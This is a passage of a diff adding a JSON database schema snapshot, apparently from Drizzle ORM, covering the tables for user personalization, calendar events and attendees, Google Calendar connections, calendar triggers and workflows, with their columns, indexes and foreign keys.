"notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "field": { + "name": "field", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "claim": { + "name": "claim", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "claimKey": { + "name": "claimKey", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "evidence": { + "name": "evidence", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "orgIds": { + "name": "orgIds", + "type": "text[]", + "primaryKey": false, + "notNull": true, + "default": "ARRAY[]::text[]" + }, + "occurrences": { + "name": "occurrences", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "firstSeenAt": { + "name": "firstSeenAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "lastSeenAt": { + "name": "lastSeenAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "promotedAt": { + "name": "promotedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "rejectedAt": { + "name": "rejectedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "personalization_candidates_user_field_claim_idx": { + "name": "personalization_candidates_user_field_claim_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "field", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "claimKey", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "personalization_candidates_userId_users_id_fk": { + "name": "personalization_candidates_userId_users_id_fk", + "tableFrom": "personalization_candidates", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "personalization_candidates_field_chk": { + "name": "personalization_candidates_field_chk", + "value": "\"personalization_candidates\".\"field\" IN ('bio', 'writingStyle', 'rules')" + } + }, + "isRLSEnabled": false + }, + "public.user_personalization": { + "name": "user_personalization", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "bio": { + "name": "bio", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "writingStyle": { + "name": "writingStyle", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "rules": { + "name": "rules", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "memoryFolderId": { + "name": "memoryFolderId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "bioPageId": { + "name": "bioPageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "writingStylePageId": { + "name": "writingStylePageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "rulesPageId": { + "name": "rulesPageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "memoryOrgIds": { + "name": "memoryOrgIds", + "type": "text[]", + "primaryKey": false, + "notNull": true, + "default": "ARRAY[]::text[]" + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "user_personalization_user_idx": { + "name": "user_personalization_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_personalization_bio_page_idx": { + "name": "user_personalization_bio_page_idx", + "columns": [ + { + "expression": "bioPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_personalization_writing_style_page_idx": { + "name": "user_personalization_writing_style_page_idx", + "columns": [ + { + "expression": "writingStylePageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_personalization_rules_page_idx": { + "name": "user_personalization_rules_page_idx", + "columns": [ + { + "expression": "rulesPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "user_personalization_userId_users_id_fk": { + "name": "user_personalization_userId_users_id_fk", + "tableFrom": "user_personalization", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "user_personalization_memoryFolderId_pages_id_fk": { + "name": "user_personalization_memoryFolderId_pages_id_fk", + "tableFrom": "user_personalization", + "tableTo": "pages", + "columnsFrom": [ + "memoryFolderId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "user_personalization_bioPageId_pages_id_fk": { + "name": "user_personalization_bioPageId_pages_id_fk", + "tableFrom": "user_personalization", + "tableTo": "pages", + "columnsFrom": [ + "bioPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "user_personalization_writingStylePageId_pages_id_fk": { + "name": "user_personalization_writingStylePageId_pages_id_fk", + "tableFrom": "user_personalization", + "tableTo": "pages", + "columnsFrom": [ + "writingStylePageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "user_personalization_rulesPageId_pages_id_fk": { + "name": "user_personalization_rulesPageId_pages_id_fk", + "tableFrom": "user_personalization", + "tableTo": "pages", + "columnsFrom": [ + "rulesPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_automation_preferences": { + "name": "user_automation_preferences", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pulseEnabled": { + "name": "pulseEnabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "user_automation_preferences_user_idx": { + "name": "user_automation_preferences_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "user_automation_preferences_userId_users_id_fk": { + "name": "user_automation_preferences_userId_users_id_fk", + "tableFrom": "user_automation_preferences", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.calendar_event_drives": { + "name": "calendar_event_drives", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "eventId": { + "name": "eventId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "sharedBy": { + "name": "sharedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "sharedAt": { + "name": "sharedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "calendar_event_drives_event_id_idx": { + "name": "calendar_event_drives_event_id_idx", + "columns": [ + { + "expression": "eventId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_event_drives_drive_id_idx": { + "name": "calendar_event_drives_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "calendar_event_drives_eventId_calendar_events_id_fk": { + "name": "calendar_event_drives_eventId_calendar_events_id_fk", + "tableFrom": "calendar_event_drives", + "tableTo": "calendar_events", + "columnsFrom": [ + "eventId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "calendar_event_drives_driveId_drives_id_fk": { + "name": "calendar_event_drives_driveId_drives_id_fk", + "tableFrom": "calendar_event_drives", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "calendar_event_drives_sharedBy_users_id_fk": { + "name": "calendar_event_drives_sharedBy_users_id_fk", + "tableFrom": "calendar_event_drives", + "tableTo": "users", + "columnsFrom": [ + "sharedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "calendar_event_drives_event_drive_key": { + "name": "calendar_event_drives_event_drive_key", + "nullsNotDistinct": false, + "columns": [ + "eventId", + "driveId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.calendar_events": { + "name": "calendar_events", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdById": { + "name": "createdById", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "location": { + "name": "location", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "startAt": { + "name": "startAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "endAt": { + "name": "endAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "allDay": { + "name": "allDay", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "timezone": { + "name": "timezone", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'UTC'" + }, + "recurrenceRule": { + "name": "recurrenceRule", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "recurrenceExceptions": { + "name": "recurrenceExceptions", + "type": "jsonb", + "primaryKey": false, + "notNull": false, + "default": "'[]'::jsonb" + }, + "recurringEventId": { + "name": "recurringEventId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "originalStartAt": { + "name": "originalStartAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "visibility": { + "name": "visibility", + "type": "EventVisibility", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'DRIVE'" + }, + "color": { + "name": "color", + "type": "text", + "primaryKey": false, + "notNull": false, + "default": "'default'" + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "isTrashed": { + "name": "isTrashed", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "trashedAt": { + "name": "trashedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "googleEventId": { + "name": "googleEventId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "googleCalendarId": { + "name": "googleCalendarId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "syncedFromGoogle": { + "name": "syncedFromGoogle", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "lastGoogleSync": { + "name": "lastGoogleSync", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "googleSyncReadOnly": { + "name": "googleSyncReadOnly", + "type": "boolean", + "primaryKey": false, + "notNull": false, + "default": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "calendar_events_drive_id_idx": { + "name": "calendar_events_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_events_created_by_id_idx": { + "name": "calendar_events_created_by_id_idx", + "columns": [ + { + "expression": "createdById", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_events_page_id_idx": { + "name": "calendar_events_page_id_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_events_start_at_idx": { + "name": "calendar_events_start_at_idx", + "columns": [ + { + "expression": "startAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_events_end_at_idx": { + "name": "calendar_events_end_at_idx", + "columns": [ + { + "expression": "endAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_events_drive_id_start_at_idx": { + "name": "calendar_events_drive_id_start_at_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "startAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_events_recurring_event_id_idx": { + "name": "calendar_events_recurring_event_id_idx", + "columns": [ + { + "expression": "recurringEventId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_events_is_trashed_idx": { + "name": "calendar_events_is_trashed_idx", + "columns": [ + { + "expression": "isTrashed", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_events_google_event_id_idx": { + "name": "calendar_events_google_event_id_idx", + "columns": [ + { + "expression": "googleEventId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_events_synced_from_google_idx": { + "name": "calendar_events_synced_from_google_idx", + "columns": [ + { + "expression": "syncedFromGoogle", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "calendar_events_driveId_drives_id_fk": { + "name": "calendar_events_driveId_drives_id_fk", + "tableFrom": "calendar_events", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "calendar_events_createdById_users_id_fk": { + "name": "calendar_events_createdById_users_id_fk", + "tableFrom": "calendar_events", + "tableTo": "users", + "columnsFrom": [ + "createdById" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "calendar_events_pageId_pages_id_fk": { + "name": "calendar_events_pageId_pages_id_fk", + "tableFrom": "calendar_events", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "calendar_events_google_source_per_user_key": { + "name": "calendar_events_google_source_per_user_key", + "nullsNotDistinct": false, + "columns": [ + "createdById", + "googleCalendarId", + "googleEventId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.event_attendees": { + "name": "event_attendees", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "eventId": { + "name": "eventId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "AttendeeStatus", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'PENDING'" + }, + "responseNote": { + "name": "responseNote", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "isOrganizer": { + "name": "isOrganizer", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "isOptional": { + "name": "isOptional", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "invitedAt": { + "name": "invitedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "respondedAt": { + "name": "respondedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "event_attendees_event_id_idx": { + "name": "event_attendees_event_id_idx", + "columns": [ + { + "expression": "eventId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "event_attendees_user_id_idx": { + "name": "event_attendees_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "event_attendees_status_idx": { + "name": "event_attendees_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "event_attendees_user_id_status_idx": { + "name": "event_attendees_user_id_status_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "event_attendees_eventId_calendar_events_id_fk": { + "name": "event_attendees_eventId_calendar_events_id_fk", + "tableFrom": "event_attendees", + "tableTo": "calendar_events", + "columnsFrom": [ + "eventId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "event_attendees_userId_users_id_fk": { + "name": "event_attendees_userId_users_id_fk", + "tableFrom": "event_attendees", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "event_attendees_event_user_key": { + "name": "event_attendees_event_user_key", + "nullsNotDistinct": false, + "columns": [ + "eventId", + "userId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.google_calendar_connections": { + "name": "google_calendar_connections", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "accessToken": { + "name": "accessToken", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "refreshToken": { + "name": "refreshToken", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "tokenExpiresAt": { + "name": "tokenExpiresAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "googleEmail": { + "name": "googleEmail", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "googleAccountId": { + "name": "googleAccountId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "GoogleCalendarConnectionStatus", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "statusMessage": { + "name": "statusMessage", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "targetDriveId": { + "name": "targetDriveId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "selectedCalendars": { + "name": "selectedCalendars", + "type": "jsonb", + "primaryKey": false, + "notNull": false, + "default": "'[]'::jsonb" + }, + "syncFrequencyMinutes": { + "name": "syncFrequencyMinutes", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 15 + }, + "markAsReadOnly": { + "name": "markAsReadOnly", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "lastSyncAt": { + "name": "lastSyncAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "lastSyncError": { + "name": "lastSyncError", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "syncCursor": { + "name": "syncCursor", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "webhookChannels": { + "name": "webhookChannels", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "google_calendar_connections_user_id_idx": { + "name": "google_calendar_connections_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "google_calendar_connections_status_idx": { + "name": "google_calendar_connections_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "google_calendar_connections_target_drive_id_idx": { + "name": "google_calendar_connections_target_drive_id_idx", + "columns": [ + { + "expression": "targetDriveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "google_calendar_connections_userId_users_id_fk": { + "name": "google_calendar_connections_userId_users_id_fk", + "tableFrom": "google_calendar_connections", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "google_calendar_connections_targetDriveId_drives_id_fk": { + "name": "google_calendar_connections_targetDriveId_drives_id_fk", + "tableFrom": "google_calendar_connections", + "tableTo": "drives", + "columnsFrom": [ + "targetDriveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "google_calendar_connections_userId_unique": { + "name": "google_calendar_connections_userId_unique", + "nullsNotDistinct": false, + "columns": [ + "userId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.calendar_triggers": { + "name": "calendar_triggers", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workflowId": { + "name": "workflowId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "calendarEventId": { + "name": "calendarEventId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scheduledById": { + "name": "scheduledById", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "triggerAt": { + "name": "triggerAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "occurrenceDate": { + "name": "occurrenceDate", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "'1970-01-01T00:00:00.000Z'" + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "calendar_triggers_trigger_at_idx": { + "name": "calendar_triggers_trigger_at_idx", + "columns": [ + { + "expression": "triggerAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_triggers_scheduled_by_idx": { + "name": "calendar_triggers_scheduled_by_idx", + "columns": [ + { + "expression": "scheduledById", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_triggers_calendar_event_idx": { + "name": "calendar_triggers_calendar_event_idx", + "columns": [ + { + "expression": "calendarEventId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "calendar_triggers_workflow_id_idx": { + "name": "calendar_triggers_workflow_id_idx", + "columns": [ + { + "expression": "workflowId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "calendar_triggers_workflowId_workflows_id_fk": { + "name": "calendar_triggers_workflowId_workflows_id_fk", + "tableFrom": "calendar_triggers", + "tableTo": "workflows", + "columnsFrom": [ + "workflowId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "calendar_triggers_calendarEventId_calendar_events_id_fk": { + "name": "calendar_triggers_calendarEventId_calendar_events_id_fk", + "tableFrom": "calendar_triggers", + "tableTo": "calendar_events", + "columnsFrom": [ + "calendarEventId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "calendar_triggers_driveId_drives_id_fk": { + "name": "calendar_triggers_driveId_drives_id_fk", + "tableFrom": "calendar_triggers", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "calendar_triggers_scheduledById_users_id_fk": { + "name": "calendar_triggers_scheduledById_users_id_fk", + "tableFrom": "calendar_triggers", + "tableTo": "users", + "columnsFrom": [ + "scheduledById" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "calendar_triggers_event_occurrence_key": { + "name": "calendar_triggers_event_occurrence_key", + "nullsNotDistinct": false, + "columns": [ + "calendarEventId", + "occurrenceDate" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workflows": { + "name": "workflows", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdBy": { + "name": "createdBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "agentPageId": { + "name": "agentPageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "prompt": { + "name": "prompt", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "steps": { + "name": "steps", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "contextPageIds": { + "name": "contextPageIds", + "type": "jsonb", + "primaryKey": false, + "notNull": false, + "default": "'[]'::jsonb" + }, + "cronExpression": { + "name": "cronExpression", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "timezone": { + "name": "timezone", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'UTC'" + }, + "triggerType": { + "name": "triggerType", + "type": "WorkflowTriggerType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'cron'" + }, + "eventTriggers": { + "name": "eventTriggers", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "watchedFolderIds": { + "name": "watchedFolderIds", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "eventDebounceSecs": { + "name": "eventDebounceSecs", + "type": "integer", + "primaryKey": false, + "notNull": false, + "default": 30 + }, + "instructionPageId": { + "name": "instructionPageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "isEnabled": { + "name": "isEnabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "ownerLeftAt": { + "name": "ownerLeftAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "nextRunAt": { + "name": "nextRunAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "workflows_drive_id_idx": { + "name": "workflows_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflows_created_by_idx": { + "name": "workflows_created_by_idx", + "columns": [ + { + "expression": "createdBy", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflows_agent_page_id_idx": { + "name": "workflows_agent_page_id_idx", + "columns": [ + { + "expression": "agentPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflows_enabled_next_run_idx": { + "name": "workflows_enabled_next_run_idx", + "columns": [ + { + "expression": "isEnabled", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "nextRunAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workflows_enabled_trigger_type_idx": { + "name": "workflows_enabled_trigger_type_idx", + "columns": [ + { + "expression": "isEnabled", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "triggerType", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workflows_driveId_drives_id_fk": { + "name": "workflows_driveId_drives_id_fk", + "tableFrom": "workflows", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + 